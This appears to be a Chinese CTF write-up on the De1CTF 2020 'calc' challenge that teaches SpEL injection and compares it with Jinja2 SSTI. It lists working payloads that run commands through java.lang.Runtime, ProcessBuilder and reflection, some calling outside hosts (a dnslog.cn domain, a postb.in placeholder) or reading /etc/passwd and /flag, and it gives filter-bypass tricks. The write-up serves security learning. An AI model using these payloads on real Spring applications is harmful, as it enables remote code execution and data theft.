原题来自De1ctf 2020 calc,题目链接
http://106.52.164.141/
题目中是一个表达式计算器,通过后端计算返回表达式结果,此处存在SpEL注入,由于并没有接触过Spring和Java,所以我将尽力从一次做题的角度来理解SpEL,以后有机会会将原理补全。
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。
通俗理解SpEL就是Spring框架的一种渲染语言,我理解就类似于Flask使用的Jinjia2模板渲染。本来设计使用SpEL是为了方便进行属性的提取和计算(这也是很多模板渲染器的初衷),但由于缺少对用户输入数据(待渲染内容)的校验,造成了恶意代码执行的问题。
SpEL使用#{...}来作为定界符(${...}来引用属性),类似Jinjia2中使用{{}}一样,在#{...}中大括号包裹的部分是待计算表达式,一般恶意注入就是用这里开始的,同样值得一提的是SpEL中会使用到T()来调用作用域内的类函数方法,例如T(java.lang.Math)来调用Math类,常用的SpEL的使用方法有如下三种
T()操作符来执行T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")
new来生成对象new java.util.Date()
Java表达式‘abc‘.substring(2, 3)
常用的普通payload
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName(‘java.lang.Runtime‘).getRuntime().exec(‘nslookup a.com‘)
new java.lang.ProcessBuilder({‘nslookup a.com‘}).start()
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
//java9
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval(‘whatever java code in one statement‘).toString()
但通常会有遇到过滤,针对关键词过滤,可以用以下绕过方法
java.lang.Runtime被过滤,可以使用字符拼接‘‘.getClass().forName(‘java.la‘+‘ng.Ru‘+‘ntime‘).getMethod(‘ex‘+‘ec‘,‘‘.getClass()).invoke(‘‘.getClass().forName(‘java.la‘+‘ng.Ru‘+‘ntime‘).getMethod(‘getRu‘+‘ntime‘).invoke(null),‘ls‘)
invoke(function, args)是Java的反射机制,直观理解就是调用类的某个方法
如果直接执行exec就应该是这样getRuntime().exec("curl blah"),但如果是用invoke来调用就应该这样
execMethod.invoke(
getRuntimeMethod.invoke(null), // object you are making a method call against
"curl postb.in_url_here" // parameter to your method call
)
getRuntimeMethod.invoke(null)会返回Runtime的实例来调用exec
java.lang.Runtime被过滤,getClass也被过滤,还可以用数组下标的方法"a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[13].invoke("a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[6].invoke(null),"curl http://bewsko.dnslog.cn")
Java8 直接读文件"a".class.forName("java.nio.file.Files").readAllLines("a".class.forName("java.nio.file.Paths").get("/flag"))
(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()
做完这题以后,最直接的感受就是SpEL本质上就是一种SSTI,SSTI漏洞在比赛中最常见于Flask的Jinjia2渲染器,在Jinjia2中一些常规的绕过思路和SpEL也是相类似的,即
SpEL中是重点去构造java.lang.Runtime类,Jiajia2中核心思路是去构造__builtins__SpEL和Jinjia2都是利用字符拼接和用数组下标引用来获得关键字函数然后提一下在Jinjia2中会用到的绕过思路,在此处SpEL中没有用到的
Jinjia2可以通过解base64编码来获得字符串名称,例如‘X19jbGFzc19f‘.decode(‘base64‘)Jinjia2中可以使用request.args传值的绕过字符检查,例如使用request.args.a然后get请求时传递a=__builtins__就可以绕过__builtins__关键字检查De1ctf 2020 calc wp
SpEL一些绕过方法
SpEL注入介绍1
SpEL注入介绍2
由一道SpEL注入题引发的对SpEL的学习和对SSTI的思考
原文:https://www.cnblogs.com/poing/p/12837175.html